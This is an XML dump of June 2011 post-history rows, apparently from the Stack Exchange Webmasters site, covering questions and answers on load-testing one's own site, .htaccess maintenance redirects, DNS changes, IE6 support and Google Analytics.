  <row Id="35739" PostHistoryTypeId="2" PostId="15159" RevisionGUID="38a0c825-af39-44e6-807d-3ff5ffc4674e" CreationDate="2011-06-11T19:28:26.327" UserDisplayName="sstendal" Text="You may use JMeter from Apache to create test scripts and load-test your site. &#xD;&#xA;&#xD;&#xA;http://jakarta.apache.org/jmeter/&#xD;&#xA;&#xD;&#xA;A JMeter script can simulate a typical end-user by opening the front page first, waiting for some seconds, opening a new page etc. &#xD;&#xA;&#xD;&#xA;JMeter may run several scripts to simulate many end-users and will constantly report reponse times, success rate etc.&#xD;&#xA;&#xD;&#xA;Remember that your own internet connection may also be a bottleneck when load testing." />
  <row Id="35740" PostHistoryTypeId="2" PostId="15158" RevisionGUID="1d5e58bc-0cd6-4d41-876d-0e8907a3d577" CreationDate="2011-06-11T19:19:22.397" UserDisplayName="Parv Sharma" Text="one solution can be to make a simple get call through scripting language.&#xD;&#xA;then every browser window you open with that script will do job for one user. " />
  <row Id="35741" PostHistoryTypeId="2" PostId="15156" RevisionGUID="aadf40c8-4fa4-415a-b770-20f699969cb0" CreationDate="2011-06-11T19:14:22.680" UserDisplayName="Stephan" Text="i have my website on a shared webhosting account.&#xD;&#xA;&#xD;&#xA;I would like to check how many people can visit my site at the same time without the server slowing down or crashing.&#xD;&#xA;I don't have SSH, if that makes any difference...&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="35742" PostHistoryTypeId="1" PostId="15156" RevisionGUID="aadf40c8-4fa4-415a-b770-20f699969cb0" CreationDate="2011-06-11T19:14:22.680" UserDisplayName="Stephan" Text="How can i check how many users can visit my website at the same time?" />
  <row Id="35743" PostHistoryTypeId="3" PostId="15156" RevisionGUID="aadf40c8-4fa4-415a-b770-20f699969cb0" CreationDate="2011-06-11T19:14:22.680" UserDisplayName="Stephan" Text="&lt;php&gt;&lt;apache&gt;&lt;server&gt;&lt;users&gt;" />
  <row Id="35744" PostHistoryTypeId="17" PostId="15160" RevisionGUID="f68b7073-812a-4732-ad0b-49ae84046357" CreationDate="2011-06-12T04:25:50.973" UserId="-1" Comment="from http://stackoverflow.com/questions/6319772/redirect-all-traffic-to-construction-page-except-my-ip-in-htaccess" Text="" />
  <row Id="35745" PostHistoryTypeId="17" PostId="15161" RevisionGUID="20152787-fc5f-4e90-9eaf-16205117d566" CreationDate="2011-06-12T04:25:50.973" UserId="-1" Comment="from http://stackoverflow.com/questions/6319772/redirect-all-traffic-to-construction-page-except-my-ip-in-htaccess" Text="" />
  <row Id="35746" PostHistoryTypeId="2" PostId="15161" RevisionGUID="421ae299-6cff-4dd3-a664-3d316c494510" CreationDate="2011-06-12T02:43:47.443" UserId="7518" Text="    RewriteCond %{REMOTE_ADDR} != 192.168.1.0 #your ip goes here&#xD;&#xA;    RewriteRule !^maintanence$ maintanence [L]" />
  <row Id="35747" PostHistoryTypeId="2" PostId="15160" RevisionGUID="96a763f4-148b-4d28-90d7-d4979a7830d6" CreationDate="2011-06-12T02:38:26.617" UserDisplayName="Tom" Text="The title pretty much says it all.&#xD;&#xA;&#xD;&#xA;I want to direct all traffic to an under construction page except for traffic originating from my IP address so I can move a large development site into production and tweak a few things along the way.&#xD;&#xA;&#xD;&#xA;Any way to do this in .htaccess?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="35748" PostHistoryTypeId="1" PostId="15160" RevisionGUID="96a763f4-148b-4d28-90d7-d4979a7830d6" CreationDate="2011-06-12T02:38:26.617" UserDisplayName="Tom" Text="Redirect all traffic to construction page except my IP in .htaccess" />
  <row Id="35749" PostHistoryTypeId="3" PostId="15160" RevisionGUID="96a763f4-148b-4d28-90d7-d4979a7830d6" CreationDate="2011-06-12T02:38:26.617" UserDisplayName="Tom" Text="&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="35750" PostHistoryTypeId="25" PostId="14999" RevisionGUID="f985aed4-2423-41e8-8cee-e676cf789442" CreationDate="2011-06-12T06:19:22.067" Comment="http://twitter.com/#!/StackWebmasters/status/79794902401155072" />
  <row Id="35751" PostHistoryTypeId="17" PostId="15162" RevisionGUID="c2be5f35-2f72-4a52-99a3-f9bda6c0b2a7" CreationDate="2011-06-12T06:26:42.120" UserId="-1" Comment="from http://stackoverflow.com/questions/6320101/cant-setup-google-analytics-for-a-google-site" Text="" />
  <row Id="35752" PostHistoryTypeId="2" PostId="15162" RevisionGUID="329174aa-93a3-44ed-b540-eb30142720f7" CreationDate="2011-06-12T04:21:03.590" UserDisplayName="user626528" Text="I had performed steps as described [here][1] , 24 hours passed but Analytics site still shows &quot;Tracking Not Installed&quot; status. Ideas?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/sites/bin/answer.py?hl=en&amp;answer=97459" />
  <row Id="35753" PostHistoryTypeId="1" PostId="15162" RevisionGUID="329174aa-93a3-44ed-b540-eb30142720f7" CreationDate="2011-06-12T04:21:03.590" UserDisplayName="user626528" Text="Can't setup Google Analytics for a Google Site" />
  <row Id="35754" PostHistoryTypeId="3" PostId="15162" RevisionGUID="329174aa-93a3-44ed-b540-eb30142720f7" CreationDate="2011-06-12T04:21:03.590" UserDisplayName="user626528" Text="&lt;google-analytics&gt;" />
  <row Id="35755" PostHistoryTypeId="2" PostId="15163" RevisionGUID="5827607f-d093-426b-8222-52fb2bbf9e88" CreationDate="2011-06-12T06:40:06.440" UserId="8114" Text="I'm trying to determine if a browser that my content is being pushed to supports flash/silverlight. That way, if there is no support on the browser, I can interchange the flash/silverlight components with HTML/AJAX components." />
  <row Id="35756" PostHistoryTypeId="1" PostId="15163" RevisionGUID="5827607f-d093-426b-8222-52fb2bbf9e88" CreationDate="2011-06-12T06:40:06.440" UserId="8114" Text="Is there a way to test if a browser supports flash/silverlight?" />
  <row Id="35757" PostHistoryTypeId="3" PostId="15163" RevisionGUID="5827607f-d093-426b-8222-52fb2bbf9e88" CreationDate="2011-06-12T06:40:06.440" UserId="8114" Text="&lt;asp.net&gt;&lt;flash&gt;&lt;ajax&gt;&lt;silverlight&gt;" />
  <row Id="35758" PostHistoryTypeId="17" PostId="15164" RevisionGUID="a53fa1d6-ec77-4a1d-af41-7cf16998aec4" CreationDate="2011-06-12T06:44:10.733" UserId="-1" Comment="from http://stackoverflow.com/questions/6320256/how-do-i-host-my-website-with-another-web-hosting-provider-which-is-not-the-provi" Text="" />
  <row Id="35759" PostHistoryTypeId="17" PostId="15165" RevisionGUID="0c6e1798-8fdd-4174-89d7-c3256036adbc" CreationDate="2011-06-12T06:44:10.733" UserId="-1" Comment="from http://stackoverflow.com/questions/6320256/how-do-i-host-my-website-with-another-web-hosting-provider-which-is-not-the-provi" Text="" />
  <row Id="35760" PostHistoryTypeId="17" PostId="15166" RevisionGUID="f6b7e418-47ac-4b36-8ca8-89faa3e0d79d" CreationDate="2011-06-12T06:44:10.733" UserId="-1" Comment="from http://stackoverflow.com/questions/6320256/how-do-i-host-my-website-with-another-web-hosting-provider-which-is-not-the-provi" Text="" />
  <row Id="35761" PostHistoryTypeId="2" PostId="15165" RevisionGUID="a36d43d6-1cc4-4b5d-8273-9a6c772a3c87" CreationDate="2011-06-12T05:12:34.233" UserDisplayName="Pete" Text="You just need to change the DNS settings for your name through the company you registered it with.  This process is slightly different for each registrar but it's not difficult to do.  You could also transfer the name to whoever you decide to do hosting with if they provide that service.&#xD;&#xA;&#xD;&#xA;Hopefully the picture below gives you at least an idea of what to look for.&#xD;&#xA;![Change DNS host records][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/BOA44.png" />
  <row Id="35762" PostHistoryTypeId="2" PostId="15166" RevisionGUID="c9401849-0e63-46a8-871c-8ff51bedcfb5" CreationDate="2011-06-12T05:27:26.043" UserDisplayName="Dylan G" Text="As Pete said, just change the nameserver records to the new host. I bought a domain name with 1&amp;1, but found $25/yr hosting at [A Small Orange][1], so I changed my nameservers from ns1.1and1.com, etc to ns1.asmallorange.com, etc. It works differently for every domain, but the basic steps are the same. They do say that changes may interrupt their services, but you don't want their services. You want to map your domain name to a new host and use their services instead. If it doesn't work out, you can always revert to the original nameserver settings and original host. &#xD;&#xA;&#xD;&#xA;You could also use CNAME settings to map your domain to another host, but I don't know as much about that. However you do it, it might take 48 hours, but be patient and your new host should be recognized and your website up and running.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.asmallorange.com/ &quot;A Small Orange&quot;" />
  <row Id="35763" PostHistoryTypeId="2" PostId="15164" RevisionGUID="a61b22e5-3091-4f58-a2a9-fdc5c0d35e38" CreationDate="2011-06-12T05:07:17.710" UserDisplayName="Sriram" Text="Recently I registered for a domain name and bought it. I had failed to check their hosting plans first :(. They charge a lot for hosting a website. I am thinking of hosting it under some free web hosting provider. How do I host my website with another web hosting provider which is not the provider I registered the domain with?" />
  <row Id="35764" PostHistoryTypeId="1" PostId="15164" RevisionGUID="a61b22e5-3091-4f58-a2a9-fdc5c0d35e38" CreationDate="2011-06-12T05:07:17.710" UserDisplayName="Sriram" Text="How do I host my website with another web hosting provider which is not the provider I registered domain name with?" />
  <row Id="35765" PostHistoryTypeId="3" PostId="15164" RevisionGUID="a61b22e5-3091-4f58-a2a9-fdc5c0d35e38" CreationDate="2011-06-12T05:07:17.710" UserDisplayName="Sriram" Text="&lt;web-hosting&gt;&lt;domain-names&gt;" />
  <row Id="35766" PostHistoryTypeId="5" PostId="15137" RevisionGUID="74b4d98c-59aa-44fe-8158-3e16c9ee9166" CreationDate="2011-06-12T07:14:51.697" UserId="3" Comment="added 83 characters in body; added 332 characters in body" Text="Google recently announced that they will no longer support older browsers on Aug 1st:&#xD;&#xA;&#xD;&#xA;http://www.bbc.co.uk/news/technology-13639875  &#xD;&#xA;http://gmailblog.blogspot.com/2011/06/our-plans-to-support-modern-browsers.html&#xD;&#xA;&#xD;&#xA;&gt; For this reason, soon Google Apps will only support modern browsers. Beginning August 1st, we’ll support the current and prior major release of Chrome, Firefox, Internet Explorer and Safari on a rolling basis. Each time a new version is released, we’ll begin supporting the update and stop supporting the third-oldest version.&#xD;&#xA;&#xD;&#xA;There is nothing worse than looking at the patching of code that takes place to support older browsers. If we could all move towards a standards only web (I'm looking at you IE9) then surely we could spend more time programming good web apps and less trying to make them run equally on terrible non standards compliant older browsers. &#xD;&#xA;&#xD;&#xA;So when can the rest of us expect to be able to tell our clients that we no longer support older browsers?  Because it seems that large corporates will continue to run older browsers and even if google chrome frame can be installed without admin privileges (it's coming soon, currently in beta) we can't expect all users to be motivated to do this.&#xD;&#xA;&#xD;&#xA;I appreciate any thoughts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35767" PostHistoryTypeId="2" PostId="15167" RevisionGUID="f518e0f5-d3e8-4fcc-b3fb-8f208da88df8" CreationDate="2011-06-12T07:16:49.907" UserId="4502" Text="This is probably going to depend upon exactly what you're doing. Whatever method you're using to embed the Flash or Silverlight probably already provides a way to do this. For example, here's an article on &lt;a href=&quot;http://www.adobe.com/devnet/flashplayer/articles/alternative_content.html&quot;&gt;how SWFObject handles this&lt;/a&gt;." />
  <row Id="35768" PostHistoryTypeId="5" PostId="15111" RevisionGUID="1d652f0f-1058-421d-930a-5d5cde32b081" CreationDate="2011-06-12T07:23:25.093" UserId="6901" Comment="added 38 characters in body" Text="How easily a user can use a interface." />
  <row Id="35769" PostHistoryTypeId="24" PostId="15111" RevisionGUID="1d652f0f-1058-421d-930a-5d5cde32b081" CreationDate="2011-06-12T07:23:25.093" Comment="Proposed by 6901 approved by 3 edit id of 378" />
  <row Id="35770" PostHistoryTypeId="5" PostId="15112" RevisionGUID="fd5533bf-a09f-41d0-ae37-7882a49d4292" CreationDate="2011-06-12T07:23:26.840" UserId="6901" Comment="added 38 characters in body" Text="How easily a user can use a interface." />
  <row Id="35771" PostHistoryTypeId="24" PostId="15112" RevisionGUID="fd5533bf-a09f-41d0-ae37-7882a49d4292" CreationDate="2011-06-12T07:23:26.840" Comment="Proposed by 6901 approved by 3 edit id of 379" />
  <row Id="35772" PostHistoryTypeId="5" PostId="11445" RevisionGUID="6605e281-7263-401b-a799-7ca009c4b409" CreationDate="2011-06-12T07:25:14.220" UserId="3" Comment="added 6 characters in body" Text="It is an interesting development, but according to my analysis it won't be unfair for small business since the +1's that are presented to you are linked to your own/personal network. Google already uses a similar technique for showing who from your network has Tweeted a certain page or blog post. Like this example where my friend Hans Westerbeek has Tweeted a blog post:&#xD;&#xA;&#xD;&#xA;![Twitter rich snippet][1]&#xD;&#xA;  &#xD;&#xA;It simply helps determining which websites are worth visiting based on the experiences of people that you know/trust.&#xD;&#xA;&#xD;&#xA;I can't seem to find any clue that indicates the effect (if any) of +1 on the SERP positions. I know this doesn't mean Google won't use the data (statistics) when improving their algorithms. But that is a whole different story.&#xD;&#xA;&#xD;&#xA;To me it seems an improvement of the search experience and adding value on a personal level. I won't expect Google to be stupid enough to introduce a new tool that improves search engine spam opportunities. I am certainly not dumb enough to advice my clients to use this tool in a spammy way, since the effect may just be the exact opposite.&#xD;&#xA;&#xD;&#xA;BTW: It might be a nice question to submit at the [blog of Matt Cutts][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/8rqv4.png&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/" />
  <row Id="35773" PostHistoryTypeId="10" PostId="15133" RevisionGUID="b3a4ed59-6897-4a75-be9e-06054bd94629" CreationDate="2011-06-12T07:29:04.857" UserId="3" CloseReasonId="4" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="35774" PostHistoryTypeId="2" PostId="15168" RevisionGUID="2bfb7ad9-13a9-4930-a593-3f22ac0fe795" CreationDate="2011-06-12T07:37:43.293" UserId="7547" Text="My website is an english video streaming website that gets visitors from all over the world (about 70,000 per day). 35% of my traffic is from the US. &#xD;&#xA;&#xD;&#xA;Now, in google Webmaster, if I were to set my geographic target to USA, will I get more overall traffic or less than what I am getting right now? &#xD;&#xA;&#xD;&#xA;*most of my traffic is organic from google* " />
  <row Id="35775" PostHistoryTypeId="1" PostId="15168" RevisionGUID="2bfb7ad9-13a9-4930-a593-3f22ac0fe795" CreationDate="2011-06-12T07:37:43.293" UserId="7547" Text="Google Webmaster Geographic target: Increases or Decreases Traffic?" />
  <row Id="35776" PostHistoryTypeId="3" PostId="15168" RevisionGUID="2bfb7ad9-13a9-4930-a593-3f22ac0fe795" CreationDate="2011-06-12T07:37:43.293" UserId="7547" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;traffic&gt;&lt;serps&gt;" />
  <row Id="35777" PostHistoryTypeId="2" PostId="15169" RevisionGUID="b2ca75d8-0a21-499e-ac0f-e6dfce96307e" CreationDate="2011-06-12T07:48:38.700" UserId="3" Text="I agree that your decision obviously should reflect the business realities and audience of your particular website.&#xD;&#xA;&#xD;&#xA;That said, large companies officially dropping support for IE6 is still significant. It raises the general perception that **it is finally OK to leave a 10 year old browser behind**. It also adds ammunition to any case you wish to make to the *powers that be* that it no longer makes sense to support ancient, creaky old browsers on *your* websites:&#xD;&#xA;&#xD;&#xA;- June 2011: Gmail / Google Apps [drops support for IE6][7]&#xD;&#xA;- June 2011: WordPress [drops support for IE6][5]&#xD;&#xA;- August 2010: Facebook [drops support for IE6][2], largely because of chat&#xD;&#xA;- August 2009: Digg [begins dropping IE6][4]&#xD;&#xA;- June 2009: YouTube [drops support for IE6][3] &#xD;&#xA;- June 2008: Apple's MobileMe [drops support for IE6][6]&#xD;&#xA;&#xD;&#xA;On Stack Exchange we've had a [remarkably similar policy][1] to what Google just announced in place for a while: we support the currently released browser version, the version before that, and usually the previous-previous version. (So for IE, this means we support IE9, IE8, and IE7). Beyond that you are on your own.&#xD;&#xA;&#xD;&#xA;[1]: http://meta.stackoverflow.com/questions/56161/which-browsers-are-officially-supported-and-what-else-do-i-need/56192#56192&#xD;&#xA;[2]: http://blog.facebook.com/blog.php?post=420101377130&#xD;&#xA;[3]: http://www.google.com/support/youtube/bin/answer.py?hl=en&amp;answer=175292&#xD;&#xA;[4]: http://about.digg.com/blog/much-ado-about-ie6&#xD;&#xA;[5]: http://en.blog.wordpress.com/2011/05/19/just-write/&#xD;&#xA;[6]: http://37signals.com/svn/posts/1072-apples-mobileme-drops-support-for-ie-6&#xD;&#xA;[7]: http://gmailblog.blogspot.com/2011/06/our-plans-to-support-modern-browsers.html" />
  <row Id="35778" PostHistoryTypeId="2" PostId="15170" RevisionGUID="672a8969-c3d7-44c5-b670-cc80b558ad77" CreationDate="2011-06-12T08:03:00.137" UserId="8208" Text="If your site/webapp considers the Asian market as one of it's primary targets, then you definitely must consider continuing IE 6 support for the forseeable future.&#xD;&#xA;&#xD;&#xA;According to http://www.theie6countdown.com/default.aspx, China is still sitting at ~33% IE6 usage, South Korea at ~22%, etc.&#xD;&#xA;&#xD;&#xA;http://asia.cnet.com/blogs/microsoft-implores-china-please-stop-using-internet-explorer-6-62207426.htm&#xD;&#xA;&#xD;&#xA;&gt; *The decade-old Web browser Internet Explorer 6 (not very affectionately&#xD;&#xA;&gt; known as IE6) is still used by a staggering 34.5% of Chinese PC users*&#xD;&#xA;" />
  <row Id="35779" PostHistoryTypeId="2" PostId="15171" RevisionGUID="7c77f852-57d7-46af-9094-6ef3bdca8df1" CreationDate="2011-06-12T08:38:17.223" UserId="7912" Text="The last answer by Gombessa on this page should solve your problem: http://www.google.com/support/forum/p/Google%20Analytics/thread?tid=49d5b624719688b8&amp;hl=en" />
  <row Id="35780" PostHistoryTypeId="25" PostId="15163" RevisionGUID="ee20f8a4-7fb8-49e2-aacd-479901e419f2" CreationDate="2011-06-12T09:19:22.033" Comment="http://twitter.com/#!/StackWebmasters/status/79840201245065216" />
  <row Id="35781" PostHistoryTypeId="2" PostId="15172" RevisionGUID="58f528a5-cd7f-4af3-8895-3132d7d23f3b" CreationDate="2011-06-12T09:44:22.297" UserId="8212" Text="The following conditions and the rule should do the trick for you. You can chain [RewriteCond][1] directives with logical AND (default) or logical OR (by appending `[OR]`).&#xD;&#xA;&#xD;&#xA;    # Check that there's no directory with that name&#xD;&#xA;    RewriteCond !-d&#xD;&#xA;    # Check that there's no regular file with that name&#xD;&#xA;    RewriteCond !-f&#xD;&#xA;    # Prevent loop if index.php is requested&#xD;&#xA;    RewriteCond %{REQUEST_URI} !index.php&#xD;&#xA;    # Finally rewrite the request; trailing slash optional&#xD;&#xA;    RewriteRule ^(.*)/?$ index.php?page=$1 [NC,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritecond" />
  <row Id="35782" PostHistoryTypeId="2" PostId="15173" RevisionGUID="ed69a27a-582e-4bcc-bb6d-54101bbe26df" CreationDate="2011-06-12T10:09:54.377" UserId="7198" Text="I recommend the [jQuery browser plugin detection](http://plugins.jquery.com/project/jqplugin) plugin." />
  <row Id="35783" PostHistoryTypeId="2" PostId="15174" RevisionGUID="2f11ab21-09d7-481d-a6af-82da60335882" CreationDate="2011-06-12T10:27:17.673" UserId="6206" Text="I have created a blog very recently and i'm seeing my traffic and audience using Google Stats that is in built in google blogger. I have few question on google stats:&#xD;&#xA;&#xD;&#xA;&gt; 1) Is number of visitor shown by stat&#xD;&#xA;&gt; is rough or accurate?&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2) How i do find whether people have&#xD;&#xA;&gt; visited my site or search engines?&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3) Is google stats is best for&#xD;&#xA;&gt; beginners like me? or any other tool?&#xD;&#xA;&#xD;&#xA;Correct me if am wrong." />
  <row Id="35784" PostHistoryTypeId="1" PostId="15174" RevisionGUID="2f11ab21-09d7-481d-a6af-82da60335882" CreationDate="2011-06-12T10:27:17.673" UserId="6206" Text="Google Stats, how to get nore info?" />
  <row Id="35785" PostHistoryTypeId="3" PostId="15174" RevisionGUID="2f11ab21-09d7-481d-a6af-82da60335882" CreationDate="2011-06-12T10:27:17.673" UserId="6206" Text="&lt;google-analytics&gt;" />
  <row Id="35786" PostHistoryTypeId="2" PostId="15175" RevisionGUID="9ce98642-520a-46c3-876d-59a03dd5031e" CreationDate="2011-06-12T12:16:39.943" UserId="8219" Text="Here's a video from Matt Cutts explaining the geographical location&#xD;&#xA;http://www.youtube.com/watch?v=Ei_duGzEl94&#xD;&#xA;&#xD;&#xA;From my own experience with my websites, I changed from default to Mexico and I didn't see that much boost in traffic. " />
  <row Id="35787" PostHistoryTypeId="25" PostId="15164" RevisionGUID="4a4cc333-b696-4e06-9110-5af681bedc75" CreationDate="2011-06-12T12:19:22.093" Comment="http://twitter.com/#!/StackWebmasters/status/79885499568898048" />
  <row Id="35788" PostHistoryTypeId="4" PostId="15174" RevisionGUID="048aaa53-bf15-40df-89de-ea0a8ea31aa8" CreationDate="2011-06-12T12:34:05.163" UserId="6206" Comment="edited title" Text="Google Stats, how to get More info?" />
  <row Id="35789" PostHistoryTypeId="2" PostId="15176" RevisionGUID="18d5f35e-141d-454e-b670-e5e46b4a4fd2" CreationDate="2011-06-12T13:09:27.457" UserId="8222" Text="Google Stats is not in official name I believe.&#xD;&#xA;&#xD;&#xA;Anyway it is ROUGH , the data HIGHLY incomplete , I have my own blog there and I have an Google Analytics account and on comparison of data , you will find surprisingly MAJOR differences .&#xD;&#xA;&#xD;&#xA;Even if you are an amateur , Google Analytics (The World's most popular JavaScript) is the best !&#xD;&#xA;&#xD;&#xA;Sing up here http://www.google.com/analytics/&#xD;&#xA;&#xD;&#xA;Answer to Question #2 can be found in Visitors Overview of Google Analytics dashboard.&#xD;&#xA;&#xD;&#xA;And yes it is good for beginners.&#xD;&#xA;" />
  <row Id="35791" PostHistoryTypeId="17" PostId="15178" RevisionGUID="558f3470-a119-4290-af3f-2053587efaf3" CreationDate="2011-06-12T13:20:12.943" UserId="-1" Comment="from http://stackoverflow.com/questions/6322048/where-is-the-http-referer-applewebdata-comes-from" Text="" />
  <row Id="35792" PostHistoryTypeId="17" PostId="15179" RevisionGUID="db429179-fd2d-4bca-b4fb-88ea65075a0f" CreationDate="2011-06-12T13:20:12.943" UserId="-1" Comment="from http://stackoverflow.com/questions/6322048/where-is-the-http-referer-applewebdata-comes-from" Text="" />
  <row Id="35793" PostHistoryTypeId="2" PostId="15179" RevisionGUID="23801ade-1dae-41b9-8c45-0b24dde02f3b" CreationDate="2011-06-12T12:59:39.380" UserId="6282" Text="The referrer is determined from the headers sent by the browser that visits your site.  By convention, this should contain the URL that referred the visitor to your site - but it could be set to absolutely anything.&#xD;&#xA;&#xD;&#xA;You may be able to gain more insight by seeing which browser tag accompanies this referrer." />
  <row Id="35794" PostHistoryTypeId="2" PostId="15178" RevisionGUID="2ac86809-1a20-482b-ab9f-6742887890ad" CreationDate="2011-06-12T12:55:37.250" UserDisplayName="ideawu" Text="My site uses a web stat service like Google Analytics, it uses a piece of javascript code to log what pages the visitor has visited and the refer url of each visit. I got some referer &quot;applewebdata&quot;, wonder where is those visitors from?" />
  <row Id="35795" PostHistoryTypeId="1" PostId="15178" RevisionGUID="2ac86809-1a20-482b-ab9f-6742887890ad" CreationDate="2011-06-12T12:55:37.250" UserDisplayName="ideawu" Text="Where is the HTTP referer &quot;applewebdata&quot; comes from?" />
  <row Id="35796" PostHistoryTypeId="3" PostId="15178" RevisionGUID="2ac86809-1a20-482b-ab9f-6742887890ad" CreationDate="2011-06-12T12:55:37.250" UserDisplayName="ideawu" Text="&lt;http&gt;&lt;web&gt;" />
  <row Id="35802" PostHistoryTypeId="2" PostId="15181" RevisionGUID="f5ab2999-bb06-4dda-8ffc-039e55b49838" CreationDate="2011-06-12T13:48:48.263" UserId="8224" Text="You can use URL shortener like bquot.com, which allows linking to specific page section." />
  <row Id="35803" PostHistoryTypeId="17" PostId="15182" RevisionGUID="072ce662-36e8-4970-8321-174c04a500a7" CreationDate="2011-06-12T14:11:22.750" UserId="-1" Comment="from http://stackoverflow.com/questions/6287380/how-the-search-engines-interpret-the-exclamation-mark-in-the-url" Text="" />
  <row Id="35804" PostHistoryTypeId="17" PostId="15183" RevisionGUID="4409b6a8-036b-4574-889d-73fbb615cdf5" CreationDate="2011-06-12T14:11:22.750" UserId="-1" Comment="from http://stackoverflow.com/questions/6287380/how-the-search-engines-interpret-the-exclamation-mark-in-the-url" Text="" />
  <row Id="35805" PostHistoryTypeId="2" PostId="15183" RevisionGUID="610ad0b2-3d0a-4771-b6d2-e7ec4e099495" CreationDate="2011-06-09T02:28:25.727" UserId="8126" Text="You're probably meaning the thingy [documented by Google](http://code.google.com/web/ajaxcrawling/docs/specification.html). It's called hash fragments or hash bangs (among other names), and it's [very bad UI practice](http://danwebb.net/2011/5/28/it-is-about-the-hashbangs) -- amongst other reasons, because a URI is permanent, and this lands you with a single url for your entire site." />
  <row Id="35806" PostHistoryTypeId="2" PostId="15182" RevisionGUID="ff9fc1c1-15c0-4594-8cb5-85fb7ad4bc2c" CreationDate="2011-06-09T02:16:07.473" UserDisplayName="Lelis" Text="I wonder how the search engines - Yahoo, bing, google ... - interpret the exclamation mark (!) in the url:&#xD;&#xA;&#xD;&#xA;* www.site.com/product!651031&#xD;&#xA;* www.site.com/category!651031&#xD;&#xA;&#xD;&#xA;I could not find documentation on this topic" />
  <row Id="35807" PostHistoryTypeId="1" PostId="15182" RevisionGUID="ff9fc1c1-15c0-4594-8cb5-85fb7ad4bc2c" CreationDate="2011-06-09T02:16:07.473" UserDisplayName="Lelis" Text="how the search engines interpret the exclamation mark in the url" />
  <row Id="35808" PostHistoryTypeId="3" PostId="15182" RevisionGUID="ff9fc1c1-15c0-4594-8cb5-85fb7ad4bc2c" CreationDate="2011-06-09T02:16:07.473" UserDisplayName="Lelis" Text="&lt;php&gt;&lt;url&gt;&lt;search-engines&gt;" />
  <row Id="35809" PostHistoryTypeId="2" PostId="15184" RevisionGUID="1865d433-094b-4191-95f4-f0a8ea788b40" CreationDate="2011-06-12T14:55:20.590" UserId="-1" Text="" />
  <row Id="35810" PostHistoryTypeId="2" PostId="15185" RevisionGUID="1aa09c67-b800-444b-b845-5b58069491c4" CreationDate="2011-06-12T14:55:20.590" UserId="-1" Text="" />
  <row Id="35812" PostHistoryTypeId="5" PostId="15109" RevisionGUID="591298c3-5482-4af7-afd1-2ca316eb4b01" CreationDate="2011-06-12T14:57:25.410" UserId="6901" Comment="fixed grammar" Text="I'm really impressed with stackexchange's concept of reputation (you gain reputation as you post, and the more you post, the more privileges you get), and I want to apply the concept to a wiki that I am building.&#xD;&#xA;&#xD;&#xA;Does anyone know of a php wiki that has a concept of privileges/reputation similar to stack exchange? I'm not necessarily looking for something *identical* to SE, I'm just looking for a wiki application that gives users more privileges the more they contribute *positively* to the wiki (SE has down votes, the wiki should have some way of identifying negative contributions too). The privileges should be category based, so the more active you are in a specific category or page, the more privileges you get for that category. There should also be site wide privileges as well, though those should be harder to access than the category privileges.&#xD;&#xA;&#xD;&#xA;I should be able to change the requirements for each privilege, through a administration panel or through editing a file.&#xD;&#xA;&#xD;&#xA;Does anyone have a script or a solution that will do this? If the script uses something similar to reputation to determine how much a user has positively contributed to the site, then that is OK too." />
  <row Id="35814" PostHistoryTypeId="2" PostId="15186" RevisionGUID="713c2356-a250-4243-8fbd-b6d96f2052c8" CreationDate="2011-06-12T15:17:01.187" UserId="7435" Text="I'm currently developing a site hosted on dreamhost, using django, which is served up through passenge wsgi. &#xD;&#xA;&#xD;&#xA;Right now, all requests are being passed to the django app. I'd like to be able to serve static content directly through apache, rather than having it go through the app. Is there a way to get passenger to realise that urls with a certain prefix are special, and should just go through to apache?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35815" PostHistoryTypeId="1" PostId="15186" RevisionGUID="713c2356-a250-4243-8fbd-b6d96f2052c8" CreationDate="2011-06-12T15:17:01.187" UserId="7435" Text="Opening up a static url when using Passenger WSGI with Django?" />
  <row Id="35816" PostHistoryTypeId="3" PostId="15186" RevisionGUID="713c2356-a250-4243-8fbd-b6d96f2052c8" CreationDate="2011-06-12T15:17:01.187" UserId="7435" Text="&lt;apache&gt;&lt;django&gt;&lt;dreamhost&gt;" />
  <row Id="35817" PostHistoryTypeId="2" PostId="15187" RevisionGUID="9fa7481c-0757-49f6-a676-e5faad925f9f" CreationDate="2011-06-12T15:17:53.793" UserId="8222" Text="yes at @stefgosselin said putting it in the end does speed up load time !&#xD;&#xA;&#xD;&#xA;See [here][1] for more details !&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hacktohell.blogspot.com/2011/06/adding-google-analytics-at-end-of-your.html" />
  <row Id="35818" PostHistoryTypeId="25" PostId="15160" RevisionGUID="3f6cf0bf-6852-47d0-b26f-e43ceaf77b99" CreationDate="2011-06-12T15:19:22.123" Comment="http://twitter.com/#!/StackWebmasters/status/79930796202401792" />
  <row Id="35819" PostHistoryTypeId="2" PostId="15188" RevisionGUID="11cef817-e469-4275-b67b-5e664646b3a3" CreationDate="2011-06-12T15:30:09.167" UserId="6901" Text="I bet you could customize [drupal][1] to do this. With drupal, you could disable all of the modules that are responsible for the &quot;content/site&quot; part of drupal, and just keep the profile modules enabled. You might have to find a module that lets each user have their own gallery, but I bet there is one out there.&#xD;&#xA; &#xD;&#xA;  [1]: http://www.drupal.org/" />
